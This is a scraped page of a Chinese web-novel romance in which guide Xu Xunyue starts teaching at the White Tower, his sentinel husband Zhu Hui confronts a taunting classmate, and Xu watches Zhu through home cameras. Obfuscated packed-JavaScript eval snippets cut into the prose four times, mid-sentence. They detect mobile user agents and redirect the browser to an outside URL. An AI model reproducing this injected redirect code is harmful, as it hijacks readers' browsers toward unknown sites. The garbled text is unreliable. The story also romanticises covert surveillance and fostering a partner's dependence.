徐寻月应了一声,在桌上顺了支笔开始填表。 他来白塔入职的原因没夏风说得那么简单,伤重残疾既然是假的,性格阴晴不定不愿意出门就不可能是真的。 白塔虽然地点固定,却是除了军部以外最能接触到各种人的地方。帝国有规定,无论在哪个地方、是哪个阶层,只要觉醒成向导或者哨兵,就得进入对应的学院接受学习和考验。 在这个时代,年轻人和战斗力就是未来的希望,没有人不看重白塔,也没有人不看重两所培育力量的基础学院。 因此,在白塔任职是件光鲜的事,在白塔内部做出贡献,也是在军队之外提高声望的好途径。 剩下的准备时间不多了,是时候行动起来。 而且,他还可以借此认识一下一个人…… 思绪在脑中飞过,徐寻月写字的速度却没有慢下来,白纸上的水墨痕迹很快就越来越多。 姓名、性别、年龄…… 健康状况、联系方式、所任职位…… 婚姻状态,已婚,打勾。 “嗯?等等,等等等等等等——你结婚了?”夏风忽然出声。 他的声音里有一种混合着震惊的复杂情绪,还带着明显的好奇,八卦之火熊熊燃起。 “院长老师。”徐寻月无奈。 夏风无视他的语气,笑眯眯地问: “恭喜恭喜,是哪个小哨兵呀?” 他记得徐寻月之前匹配列表空白的事,那么按照帝国规定,估计是哪个哨兵年满二十五岁周岁,刚进入测算范围就被检测出来了。 徐寻月一边填表一边说:“他叫祝回。您没听说过他吗?” 夏风眯着眼睛,说好像没听说过噢。 正在写字的笔顿了顿。 徐寻月抬头,正色道: “老师,你也该多出去走走的,别整天呆在研究室里了。过去一年我在家养伤,也没见您来看我。再这样下去,连外面发生了什么都不知道,到时候谁想骗您的研究成果,岂不是一下就忽悠走了?” “去去去,专门咒我,是我不去看你么?明明是你之前不想和外界接触,凭什么说我整天埋在研究室不和外界接触?” 徐寻月将填写完毕的表格推回去:“今年年初,祝回被选为新一任首席哨兵,打破了帝国历史上首席哨兵的年龄记录。那个月的新闻头条都在讲这些,您不知道。” 夏风哂笑,开始转移话题。 “打破了年龄记录啊,那真是厉害,跟你一样优秀。之前首席哨兵的年龄记录好像是秋晔的吧?二十七岁?他多少岁?” “二十。” “这么小,”夏风先是发出感叹,又十分满意地点了点头,“我记得你也是二十岁那年当上首席向导的,这就是缘分嘛。” “我已经不是了,院长老师。”徐寻月有些头疼。 他这个老师什么都好,就是心眼子少,一大把年纪了,性格还是那么直来直去。这点在军部或者白塔倒是无伤大雅,但放在整个帝都、传到有心人的耳朵里,指不定就要做些文章。 按照帝国的法律条文,首席向导和首席哨兵的席位都是可以空置的,除非空置三年都没有那种作出超大贡献的军官出现,才会在一些较为优秀的选举对象里选出一个。 徐寻月卸任的时间说是三年前,但严格按月份算还没满三年,在这期间,帝国首席向导的位置其实一直空着,许多贵族都对这个位置有想法,对于状似消沉又好像没完全消沉的徐寻月,自然也少不了试探。 就拿昨天财政大臣的晚宴举例,如果不是受人指使,那群哨兵不可能想不开来起哄他。 “哎,我知道了,以后会注意的。”夏风把几张纸拿在手里,站起身,“那我们就出去转转咯?带你熟悉一下老师常用的几个区域,中午顺便怀念下食堂,你想怀念哪个食堂?” *** 四个小时后。 哨兵学院,教务处。 “还有几个月就毕业? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309620|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那缺的学分可能有点多,不过你有军功和荣誉,问题不大,这几个月上点课就行。对了,收拾行李的时候注意一下,从军队回来的高年级哨兵住宿总忘带向导素…… “嗯?申请外宿?也是,那没什么。不过你可以去以前的宿舍看看,有没有东西之前没收回去。” 伴随着键盘敲击的响声,行政老师的话语也在不断传出。 “已经给你销假了,军功对应的学分会在通过审核的一周内录入,到时候记得检查。来这边重新录入面部信息,完了再去试炼场重新测试一下各方面数据,学院系统会给你重新分班,测试结果将会在今晚发送到你的个人终端。” “好的,谢谢。”站在办公桌前的年轻哨兵没立刻离开,而是顿了顿,问,“秋晔不在学院里吗?” “不在。” 行政老师飞快地回了两个字,半晌想起来,面前这位是入学三年就跑去参军的新任首席哨兵,几年没回来上课了,不是很清楚学院近况,于是补充道: “秋晔顾问最近几年的身体状况不是很稳定,来学院比较少。” “叩叩叩。” 敲门声忽然响起。 紧接着,办公室的门就被推开了。 一道张扬的男声随着脚步声靠近: “听说白塔来了新老师?还是向导学院的老师,我舍友说在三食堂看见院长和他在一起,好像——祝回?!!” 来人一身哨兵学院高年级学生的制服,长相颇为俊秀,只是眉眼间距偏窄,乍一看略显刻薄。 “你怎么在这?马上毕业了回来上课?” 语气怪怪的。 祝回:“有事?” 他从遥远的、来自三年前的学院记忆里翻找半天,才想起眼前人是自己参军前的同班同学,贵族出身,性格高傲,名字暂时不记得了。 在他离开白塔参军之前,对方因为一直当千年老二,对他怨气颇重,隔三岔五就要找他打架,被揍得满地找牙还坚持挨打,也算是某种程度上的不忘初心了。 听到祝回的话,对面人晃晃脑袋轻嘶一声,一边摆出副意味深长的样子,一边端详他思考着什么,明显是想吊人胃口。 可惜祝回半点配合的意思都没有,见他没说话,就不给多余的眼神,长腿一迈就要离开房间。 “喂!喂喂!”那人急了,脱口而出,“走这么急,去追你老公啊?” 祝回脚步一滞,转身。 “你说什么?” “……你不知道?” “说清楚。” 祝回朝他走了一步,眼神已经冷了下来。 俊秀哨兵下意识后退一步,反应过来后有些恼怒,故意道: “徐寻月刚刚来白塔了,你不知道对不对?你和他昨天结的婚吧,今天怎么还一前一后分头办事?” 祝回皱眉。 “连自己向导的行程都不知道,你们是有多生分?”俊秀哨兵见祝回有表情了,更加来劲,“他刚刚走了,你也不知道吧? “看来,你婚后生活果然不怎么样……” “砰!” “哎呦痛痛痛痛痛……” “我去,快让你精神体松嘴啊啊啊!” 15.压制 祝回毫发无伤地离开了。 由于易程礼——就是那个俊秀哨兵,他发现祝回把自己名字忘了的时候差点气晕过去,由于他挑衅在先、在教务处大声喧哗、祝回又没动手只是雪狼咬了他、他还没打赢……综上等等各种原因,最后没闹起来,出了办公室还被祝回逼问和徐寻月的相关消息。 “啊,对啊,有人看见他和向导学院的院长在那吃饭,他大概就是要来向导学院当老师,”易程礼面部肌肉僵硬,原本显得刻薄的眼睛此时已经变成一双死鱼眼,“我说,你想知道更详细的话,回去直接问他不就好了?不是结婚了嘛,他不准你问? “要是真这样,连我可都要同情你了。帝国历史上最年轻的首席哨兵,就被结合向导这么冷酷无情地对待?你们匹配度还是60.01%,只有最低没有更低。” 说着说着,易程礼的语气又开始趋向犯贱。 “唉,你是他匹配度唯一合格的哨兵,他好像不是你匹配度唯一合格的向导吧?也没听说哪个哨兵的匹配列表里只有一个人。虽然他应该不需要哨兵,但你以后肯定需要向导啊,就现在这样,他以后能愿意给你做精神疏导? “向导做一次精神疏导可是很累的,帝都的那些精神疏导室,你没去过吧?我每次去,收费都老贵老贵,疏导师要求也多。啧啧,偏偏这个婚约是帝君指定的,没什么特别的理由,还真不好解除……” 祝回转身就走。 “喂喂喂,你干什么?在军队混三年怎么越来越不讲道理了?让你的精神体松嘴……你让它停下停下别跑了!地板好凉啊啊啊啊啊……” 只见一团巨大的白色身影从半空中窜了出来,一口咬住易程礼裤腿将他拖倒在地,接着连缓冲都没有,直接拖着人向空荡荡的走廊另一头冲去。 它越跑越快,越跑越快,整个毛茸茸几乎成了残影,被它放倒的人根本没机会爬起来,只能被这股大力拖着擦地板。 一旁穿着常服的哨兵却双手插兜,闲庭信步般地走着。 他迈步频率极低,步幅也不大,却不知道为什么,始终能跟在自己的精神体后面。 如果把这幅景象做成一帧一帧的动画,就能发现他每一帧所在的地方都不一样,且每个地方之间,都隔了好几米的距离。 很快,他们到了这条走廊的尽头,前面是一扇窗户。 窗户非常明净,能轻松透过它看到远处的风景,同时也能看到外面空空如也,没有任何台子或其他可以落脚的地方。 “祝回你疯了?这里是十楼!” 易程礼嘴皮子都快被政务大楼的瓷砖磨破了,他声嘶力竭地喊着,奈何身体没法动弹,只能看着窗户越来越近,越来越近。 就在他瞳孔无限放大之际,耳边忽然传来始作俑者冰冷而深重的话语。 “他很好。我们昨晚就做过精神疏导了。” ??? 说的什么玩意? 易程礼大脑一片空白,还没反应过来自己听到了什么,身长两米的雪狼就拽着他的脚,前肢抬起高高一跃,从窗户跳了出去。 “啊啊啊啊啊啊啊嗷嗷嗷嗷……” 声音由近变远,由大变小,很快就消散在空气里。 “祝同学?祝同学?” 一连串动静不过发生在几息之间,人都下去了,行政老师才刚从办公室走出来,语带担忧地在背后提醒。 祝回语气平淡。 “没事,我让精神体把他叼到试炼场去。我重新测下身体数据,顺便和他打一场。” 行政老师松了口气。 “这样啊,那你们注意下分寸。” “会注意的。” 行政老师点点头,没再多问什么。 白塔是帝都标志性的建筑,是帝国数百年沉积而来的底蕴,象征着至高无上的力量,以及某种根植于灵魂的信仰。 在白塔的两所学院中,贵族身份的作用微乎其微。不管你有多少财富、是什么阶层,在这里,协作能力和战斗水平才是最重要的。 此外,帝国贵族也有自己的骄傲,且不论这种“骄傲”是否真正体面,但他们确实比大部分人都要面子。 而哨兵学院有个不成文的规定: 所有在校学生,真有事,试炼场解决。 考虑到哨兵超强的恢复能力和试炼场的特殊设置,试炼场之内,只要不出人命,怎么切磋都可以。 至于雪狼叼人这种事? 不就是精神体一时跳脱,从主人的精神领域里跑出来了么?哨兵情绪激动或者比较放松的时候都这样。它拖着易程礼跑一路也没把人腿弄断,可见是很有分寸的。 行政老师打心底认为,这只精神体的主人、帝国今年新选出来的首席哨兵、哨兵学院的天才学生,同样会很有分寸。 祝回走近那扇两秒前雪狼跳出去的窗户。 下一刻,他的身影消失在政务大楼中。 *** 帝都中心别墅区,财务大臣罗明旭的居所。 罗明旭是一位八面玲珑的中年人,据说,他青年时期的从政经历十分传奇,不过那是二十多年前灾变还没发生时的故事,太过久远,有印象的人已经不多了。 就在他家一间坚固而宽敞的储藏室中,对话正进行着。 “所以,拜访我其实是为了查询匹配列表?”罗明旭打趣道,“我还以为是因为昨天晚宴的提前离席呢。半夜发消息说今天来访,看来新婚夜很忙碌啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315135|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐寻月笑了笑,没接他这个带着揶揄意味的话茬。 罗明旭也没在意,话锋一转,道:“几个月前你不是查过祝回的匹配列表?现在又查……他有问题?” “不是,只是有一些新发现,想看看能不能找到灵感。” 徐寻月顿了顿,补充:“是关于我和祝回之间的,属于个人事务,和计划无关。” “嚯,还个人事务上了。”罗明旭感叹一声,站起身朝门外走去,“我陪孩子去,你自己慢慢看。” “咔哒。” 储藏室的门被带上。 室内彻底陷入安静。 这个房间摆放着大大小小各种各样的书籍与器械,桌上、地上、架子上……琳琅满目,乍一看,大多是前纪元的稀有物品。 其中就包括徐寻月手里用于检测匹配列表的仪器,这也是它只在有关部门和少数贵族手中流通的原因。 灾变之后,大多数城市成为禁区,许多高科技也留在了过去,没有技术,灾变前的高科技产物就难以制造了。 在技术突破之前,人们只能使用过去生产剩下的用品,或者进入灾变区搜索旧物——后者完全是刀口舔血的活计。 总之,这些仪器十分稀有。 帝国每年对外公布匹配列表的时候,都会把年龄范围限定在二十五岁以上。但检测仪器本身并没有这个限制,个人去查的话,是可以查到二十五岁以下、甚至白塔学生的情况的。 徐寻月按照标准步骤操作着。 输入相关信息、确认程序正确、点击进行检测、等待检测结果…… 几分钟后,象征着检测结束的提示音响起了。 “滴滴滴滴!滴滴滴滴!” 徐寻月垂眼,看着一行行字符自上而下,依次浮现在仪器的显示屏里。 他首先看到了自己的名字,后面跟着67.61%。 和昨晚测的相比涨了0.6%,应该是今天早安吻的加成。 意料之中。 但…… 接下来的数字,就和记忆里的不一样了。 徐寻月清清楚楚地记得,上次祝回匹配列表的数值大多分布在62%到67%这个范围之间,最高值就是67%。 而眼前的一列,不、那甚至已经算不上一列,那一小截数值明晃晃显示着: 63.21%。 62.45%。 61.98% 60.02%。 …… 原本67%所对应的那个名字,现在就对应着63.21%;而更令人震惊的是,那些匹配度本就只有六十出头的名字直接消失了。 如今,祝回匹配列表上的人数,两只手就能数过来。 16.监控 “咦?”中心别墅区内,一个抱着玩偶的小男孩站在玩具房门口,看向逐渐远去的背影,“爸爸,徐向导是走了吗?” “嗯,时间也不早了,他要回家。”罗明旭摸了摸儿子的头。 “为什么不留他在我们家吃晚饭呀?你以前都会留的,我还想听他讲他以前的故事呢。” “这次不大一样,”罗明旭笑着低语了一句,“他现在有哨兵了。” 小男孩迷惑。 “那是什么意思?” “他的哨兵会等他回家吧?是的、没错,我猜——就是这样。”罗明旭朝儿子眨眨眼,颇为神秘地说着,他想起徐寻月出储藏室时的神情,愈发认为自己做了一个正确的推测。 ……他居然从徐寻月眼里看到了温情。 不可思议。 时间回到二十分钟前。 在匹配列表的结果出来之后,徐寻月检查了仪器是否发生故障,还重新操作了一次,最终确认祝回的匹配列表就是那个样子。 那个和记忆里完全不同的样子。 徐寻月又查了自己的匹配列表,发现名单上依旧只有祝回一个人,后面跟着67.61%的数字。 所以,就是祝回的整个匹配列表发生了变化。 按照常理,匹配度根本就不会升高降低。就算某两个人之间的匹配度波动能用情况特殊、时机正好、体质契合这样的理由解释,但所有数值一起变化又怎么解释? 祝回和那些人没有接触,恰恰相反,他一整个晚上都在和徐寻月接触。 他们的匹配度也是一点一点被看着加上去的。 难道就是和徐寻月匹配度的上升,才导致了其他多组数值的下降,甚至有一大半直接跌破60%的及格线? 徐寻月微微蹙眉。 如果猜测真的成立,祝回继续和自己待在一起、继续和自己亲密下去,是不是有一天也会和他一样,匹配列表上只有一个人? 到那一天,祝回就真的只能依赖他了。 “依赖”。 这个词很微妙。 这就不得不提到白塔正在进行的一个研究,那是一个和向哨关系有关的课题,今天上午,徐寻月跟着夏风院长在学院乱逛的时候正好聊了几句。 夏风和徐寻月说了一些尚未被百分百核实的推论。 譬如,理论上,是有可能训练出一个传说中的黑暗哨兵的。 譬如,哨兵接受精神疏导的次数越多、开始接受精神疏导的时间越久,独立性也就越弱。 众所周知,哨兵和向导之间的精神活动越频繁,二者建立的精神链接也就越深。但夏风特别提出,从这项研究的角度来说,向导的精神疏导也像一种药物成瘾。 治了能活,但难戒断;不治有99.99%的可能惨死,却还有那0.01%的、科学尚未核实的可能,能让哨兵完全摆脱体质束缚、成为前所未有的强者。 夏风说,帝国的上上任首席哨兵,秋晔,就是这个研究的重点观察对象之一。 他和他的结合向导感情很好。当那个向导意外死亡的时候,他在千里之外直接狂化,被当场摁住、强行注射了镇静剂。 秋晔暂时活了下来,却不愿意接受任何向导的治疗,也拒绝任何情况下的精神疏导,大家都以为他要死了。但他在经历两年的癫狂浑噩失语之后,居然从无法控制的状态中走了出来,且比从前更加独立,仿佛真的不需要向导了。 当然,这只是研究员从表象和检测数据中得出的结论,再也没人能够进入秋晔的精神图景。曾经有和他匹配度超过60%的向导进行过尝试,最后却带着哨兵精神屏障造成的伤口狼狈离开。 祝回之前避开精神疏导,或许就是想走秋晔的路,他想尝试一下,是否能成为可以独当一面的黑暗哨兵。 思绪到这里,徐寻月意识到祝回大概认识秋晔,不然很难知道这种消息。 可是,祝回既然想效仿秋晔,想青出于蓝胜于蓝、利用良好的身体素质更上一层楼,现在却选择了和最初完全相反的方向。 他放弃了对他的攻击,主动找他要精神疏导、红着脸贴过来讨吻,被亲到可怜兮兮…… 一点都没有想“独立”的样子。 也是乐于见到匹配度提高的样子。 但祝回的匹配列表…… 如果以后真的只有他能链接祝回的精神世界,且祝回已经对他产生了不可消解的依赖…… 他会很乐意。 因为,那是完完全全只属于他的哨兵。 徐寻月止住思绪,将检测匹配列表的仪器放了回去,转向自己手腕上的个人终端。 终端屏幕一亮,显示现在是帝都时间下午六点。 徐寻月继续滑动屏幕。 他打开它并不是为了看时间。 他的指尖连续点了四下。 【管理】-【庄园】-【设置】-【监控】。 当指腹接触到“监控”二字的时候,个人终端的画面倏地一变。 原本只有一个格子的屏幕赫然变成了九宫格,右下角还有一个象征着“更多”的图标,提醒监控画面不止这九个。 而在屏幕显示的这九宫格中,有三楼黑黢黢的储物室、二楼灯光暖暖的书房、徐寻月自己的卧室、一楼简朴古典的客厅、干净整洁的餐桌、以及…… 玻璃门紧紧关闭、隐约映出一片明黄色火光的厨房? 饶是徐寻月,也因为这猝然闯入视线的亮色而愣了一下。 有些复杂的心情被冲淡了,他切了个摄像头,屏幕便瞬间显示出厨房内的情景。 “滋啦——!!” 热油下锅的声音无比响亮,年轻哨兵握着锅铲的那条手臂明显抖了一下。 徐寻月感觉他应该是被吓到了,又或者是被热油溅到了手掌,画面里的祝回并没有戴他那双黑色作战手套,大概是想更好地把握厨具。 等级越高的哨兵越不容易应激,祝回已经是很稳定的哨兵了,但原本安静的地方忽然炸开那种声音,再加上热油的温度,还是会造成一定的影响。 只是影响,造不成多大伤害。人类和灾变体对抗的时候,军队中的哨兵就少不了遭遇巨响、刺痛、异味等突如其来的刺激,那些东西才是值得警惕的,会真正危及生命、影响战斗局面。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323994|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是,战斗归战斗,在家是在家。 不必要的事,何必让人破皮受伤呢? 徐寻月这时候开始惋惜了。因为科技链断裂的缘故,庄园里的监控都只是监控,不能传信,也不能通话。 至于发信息说点什么…… 说来有点好笑,这婚结了一天,二级结合都发生过了,两个人居然还没加联系方式。 他没找祝回,祝回也没找他,徐寻月自己都是刚刚才发现的。 个人终端没加好友,根本发不了信息。 这其实是双方态度转变太快造成的不适应。在真正见到彼此之前,两人对婚约的态度都比较消极,觉得虽然在法律关系上发生了变化,婚后肯定还是各过各的,自然就没有多想。 屏幕里,祝回面色凝重地盯着眼前的锅,薄唇紧抿,眼神冰冷,似乎他面前不是一口锅,而是一个十恶不赦的犯人。 他捏了捏自己的鼻子,过了一会,干脆用另一只手把自己口鼻给捂住了。 徐寻月看了几秒,暂时关掉个人终端,就这样离开了中心别墅区的储藏室。 和罗明旭一家简单道别,他便坐上汽车,将汽车的导航终点设置为帝都西郊的那座小庄园。 他的……家。 路上,徐寻月继续看监控。 但他没有一直看当下的监控,而是翻了这一天的监控记录。 他看见自己早上起床,洗漱的时候被雪狼蹭裤脚,之后和祝回一起吃早饭,出门的时候和祝回在门口接了一个长达十多分钟的吻。 再往后,他离开了,祝回在门口看着门站了一会,之后还真像他说的“熟悉一下”那样,把小楼外的院子和三层小楼里除了徐寻月卧室外的所有地方都走了一遍。 雪狼也从祝回的精神世界里出来了,昂首挺胸地跟在他身边走。它似乎在巡视自己的新领地,遇到大件家具,还会踩踩它们的影子,可惜那时徐寻月不在家,没有精神体回应它的试探。 在祝回“熟悉”的过程中,徐寻月还注意到一个可疑的细节。 那时,祝回走着走着,脚步忽然顿住,下一刻直接扭头望向屏幕——即某个监控所在的地方。 他盯了足足三秒。 徐寻月看着屏幕,和那时候的祝回对视,心里完全确定祝回发现了这个摄像头。 一个人和他的精神体在一栋楼里乱逛,没有任何压力也没有时间限制,在角度、距离、光线等恰到好处的时候,发现一个摄像头也很正常。 可令徐寻月意外的一幕出现了。 那时候的祝回盯着屏幕看了三秒,之后像是反应过来了什么,若无其事地看向别处,迈开步子越走越远。 他的精神体却停在原地,甩甩尾巴,对着摄像头伸了个大大的懒腰,琥珀色眼睛亮亮的。 紧接着,徐寻月听见一阵嗷嗷呜呜的叫声。 这叫声不是监控传来的,而是来自他身边。 余光一瞥,原来是阴影不知道什么时候钻了出来,簇拥在个人终端周围观看录像。 徐寻月:【你们学狼叫做什么?】 【因为小狼在跟我们打招呼呀!】 17.装可怜 监控录下了庄园的整个白天。 画面显示,祝回并没有一直呆在家里,将所有房间转过一圈之后,他在二楼书房、他们昨晚亲密接触的地方坐了一个多小时,开始在个人终端操作些什么。 又过了一会,祝回也出门了。 那是下午一点,祝回去了哪里呢?他走得比徐寻月晚,回来得又要早一些。 等二楼窗户下的摄像头再次拍到祝回,时间已经很接近现在了,祝回把一楼的灯打开,在客厅的沙发上坐了一会,就起身去了厨房。 然后是徐寻月刚打开监控时见到的场面。 大概因为是晚餐的缘故,祝回提升了菜肴的难度,才发出了那么大的动静。如果早上有这样响亮的滋啦声,徐寻月不可能听不到。 将监控切到实时画面,他发现哨兵的额头上出了一层薄汗。 看来是手忙脚乱了。 徐寻月看了一会,竟觉出几分难以言明的愉悦。 祝回之所以被选为首席哨兵,都是他参军三年间一刻不停的功勋积累,以及去年前年在待规划区和灾变区边缘表现优异的结果。首席哨兵这个职位对年龄履历不是那么看重,反而对哨兵的稳定性和单体作战能力要求很高。 他见过大会台上的祝回,也从别的哨兵口中听说过祝回,无一例外,那些会被用到的形容词都是“冷淡”、“高傲”、“干脆利落”,他也因此在婚前对祝回多有警惕。 可在他面前,祝回完全变了副样子。有点笨拙,但很可爱,是那种被欺负也乖乖的,所以让人更想欺负了的类型,还是很全能的哨兵。 徐寻月想起自己小时候放学回家,父母就是这样等待着、做着随便什么都很有烟火气的事。那时家里的哨兵爱进厨房,现在居然也是。 和那些模糊的记忆相比,眼前这幅画面是完全不一样的。 地点不一样,时间不一样,人物不一样。 但有些感觉,十多年都是一个样子。那种让人心安的味道,甚至能透过玻璃屏幕,跨越千里。 当家人沉入海底,而他因觉醒前往白塔学习逃过一劫的时候,徐寻月以为自己会像许许多多直面过灾变的幸存者一样,灵魂留在过去,永远走不出来。 后来发现,时间确实是能淡化悲伤的,好像可以走出来了,却不知前方还有什么真正属于自己的存在。 他当然活着,他可以做很多,他能穿过险地施展救援,他能带领队员进行战斗,但那些都是更加宏大的事,一旦停下脚步,就会觉得日子空空。 徐寻月并不意外自己的匹配列表上没有名字。 冥冥之中,早有预感向他传递过类似的信息。 很难说清那种预感从何而来,一个人成长的这些年,他脑子里总有些奇怪的意识。 像是属于别人的声音,又像是内心本能的呼唤,于是徐寻月意识到自己和其他向导的不同,意识到某些看似正常现状下的端倪,也意识到了祝回的特殊之处。 所以是例外,意料之外的例外,本不应该存在的例外。 一个匹配度唯一合格的哨兵,一个匹配列表会因他而改变的哨兵。 那种对方属于自己,或者说,本就该属于自己的感觉又出现了,脑子里的意识开始嗡鸣: 【是你的,他本来就是你的。】 【一个身心都完全只属于你的人,你不想要吗?】 【他肯定愿意。】 …… 刚确定祝回匹配列表变化那会,徐寻月的想法还比较中立,是乐见其成、但不会主动推进的类型。 毕竟,哨兵的匹配列表人名稀少相当于在医学上宣布一个人的免疫系统濒临崩溃。 帝国过去就有类似的案例。 那些案例的主角很强,平时的状态也很好,但遇到真能伤害到他们的精神攻击,往往也更容易受伤。 在变幻莫测的战场上,没人敢保证哨兵的那个结合向导永远都在,且能永远提供最及时的支持和战后救助。一旦出现纰漏,他们就会承受比世界上绝大多数哨兵强烈百倍的痛苦。 说句比较现实的,就凭他跟祝回的二级结合,他以后要是出了什么事,好歹能找个跟祝回匹配度及格的向导看一下。 死亡在海神纪过于常见,许多三级结合向导死亡的哨兵都会跟着死去,而活下来的那一小部分,就是用这种方法救活的。 徐寻月因此有所克制。 但现在,他改变想法了。 祝回之前没有找向导的趋势,如今匹配列表虽在缩减,他们的匹配度升高也是事实。 匹配度越高,向导对哨兵的感知也就越强,距离方面的限制会逐渐减小,在情绪、精神和身体状态上的把握则会更加精准。 何况他还是攻击型向导,自保能力更强,反应也更快。 和过去的案例相比,徐寻月能保证自己对祝回的及时。 他比以前更爱惜自己的生命一点就好了,祝回一直呆在他身边就好了。 他是真的有点想把祝回变成只属于自己的哨兵了。 *** 徐寻月进入庄园的时候,小楼里没有动静。 徐寻月打开一楼大门的时候,房间里依旧没有动静。 直到他推开厨房房门,略显清淡的饭菜香扑面而来的时候,那个在终端屏幕里紧锁眉头的年轻哨兵才愕然转头。 徐寻月有种自己跟着时间走了很久,设备和现实两端画面终于同步的微妙感觉。 他关闭个人终端,提醒道: “你的注意力太集中了。” 白塔将哨兵面对巨大信息流时的过度投入称作一种负面状态。这种负面状态会使五感本就敏锐的哨兵将所有注意力都放在他们观察的那个东西上,从而忽略环境里的其他事物,严重的甚至会遗忘时间空间。 很明显,祝回刚才就是光顾着眼前的东西去了。 被他这么一说,祝回也反应过来,手里的动作暂时停住:“确实是这样,谢谢……你到家很久了吗?” 他一副手脚都不知道该往哪放的样子,视线在徐寻月和灶台之间晃来晃去,似乎在心里做什么艰难抉择。 还没等徐寻月说什么,他就又说:“刚回家的话,要不要休息一下?这里油烟……” “不用。” “……” 祝回噤声。 只不过,让祝回没继续说下去的,不是徐寻月的那句“不用”,而是对方放在他侧腰的一只手。 肢体隔着衣料和手套相接触,属于向导的磅礴精神力从那只手上传来。 视线更清晰了,嗅觉和触觉变弱了,厨房变得不那么热,飘在空气里的味道也不那么刺激了。 向导的精神力将很多信息拦在外面,微微发懵的大脑开始放松,思考速度开始恢复。 祝回还感觉到,徐寻月放在他腰上的那只手松开了,随后又落下,指节屈起,在他下意识绷紧的腰侧肌肉上敲了敲。 然后他听见徐寻月说,去切菜。 ……? 什么? 于是,徐寻月眼睁睁看着祝回的表情里掺进一丝委屈。 “闻起来不太好吗?”他说,“那我下次再努力。” 徐寻月:“……我的意思是你打下手,没说要把它倒掉。” “打下手——我知道了,我刚刚以为……那我现在……” “或者你继续做完手里的,待会我再做几道,你再帮忙切一下菜。” 祝回的唇角扬了起来。 “不用做那么多,”他偏过脸,不像之前委屈的时候那样去看徐寻月的眼睛了,因为现在再看会笑得特别得意,“太多了吃不完,你做一道就好。” “行,”徐寻月顿了顿,问,“单从口味上考虑的话,你喜欢清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330604|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡一点的还是辣一点的?” “都可以……你是喜欢吃辣吗?”祝回像是联想到了什么,解释,“之前做的比较清淡是怕五感被刺激,调料和辣度反而更难掌握。” “你喜欢吗?” “喜欢,小时候经常吃。” “那就加一点,给你调五感。” 两个人一块呆在厨房,原本空气清冷的地方变得热闹起来。 不知道雪狼是什么时候出现的,总之等徐寻月注意到它的时候,它正绕着两个人转圈圈,一点动静没发出。 徐寻月注意到它还是因为听见了它的情绪。 【气死我了!气死我了!气死我了!】 【居然有缺心眼的说你们关系不好!】 【虽然我们把他打了一顿,但这种人还是太可恶了!】 徐寻月:“?” 他看了雪狼两眼,刚准备集中注意力多听一会,自己的精神体就从精神领域里跑了出来,直接把雪狼拖到外面玩去了。 雪狼瞬间从嘀嘀咕咕变成嘻嘻哈哈。 徐寻月略感遗憾。 祝回却在这时开口。 “我今天下午去了白塔。” 乍一听只是随口一提的闲聊,徐寻月的直觉却告诉他不止如此。 他觉得祝回在纠结着什么。 和精神体不同,祝回的情绪总是不外显的,就好比此刻,徐寻月没听见特别具体的想法。 不过,对他而言,情绪只是获取信息的渠道之一。 他想了想雪狼吐槽的话。 祝回下午去了白塔,碰到了一个说他们关系不好的人。 祝回出门的那个时间,他应该快要离开白塔了。 他没在白塔看见祝回,祝回应该也没看见他。 ……哦。 徐寻月想,大概是这么个情况。 “我今天也去了白塔,”他说,“你同学看到我了,然后告诉了你,是吗?” 祝回愣了愣,低声道: “嗯,是这样。” 哥哥怎么直接看出来了。 好厉害。 但是,他本来还想旁敲侧击试探一下的,现在被点破了,接下来要说什么。 可以问哥哥今天做了什么吗? 可以问哥哥以后的安排吗? 像哥哥这么谨慎又有规划的人,肯定不喜欢别人随便打探吧? 但还是很想知道啊…… 加了辣的菜香在鼻尖浮动,闻起来一点也不刺激,反而十分诱人,这是觉醒成哨兵后从未有过的体验。 向导是可以帮哨兵调节五感,可那是在灾变区和待规划区,大家面对危险需要战斗的情况。向导动用能力是会耗费精神力的,平常生活中,哪个向导会闲得没事干给自己上难度呢? 哥哥真好。 祝回不自觉把手里的锅铲手柄握紧了一点。 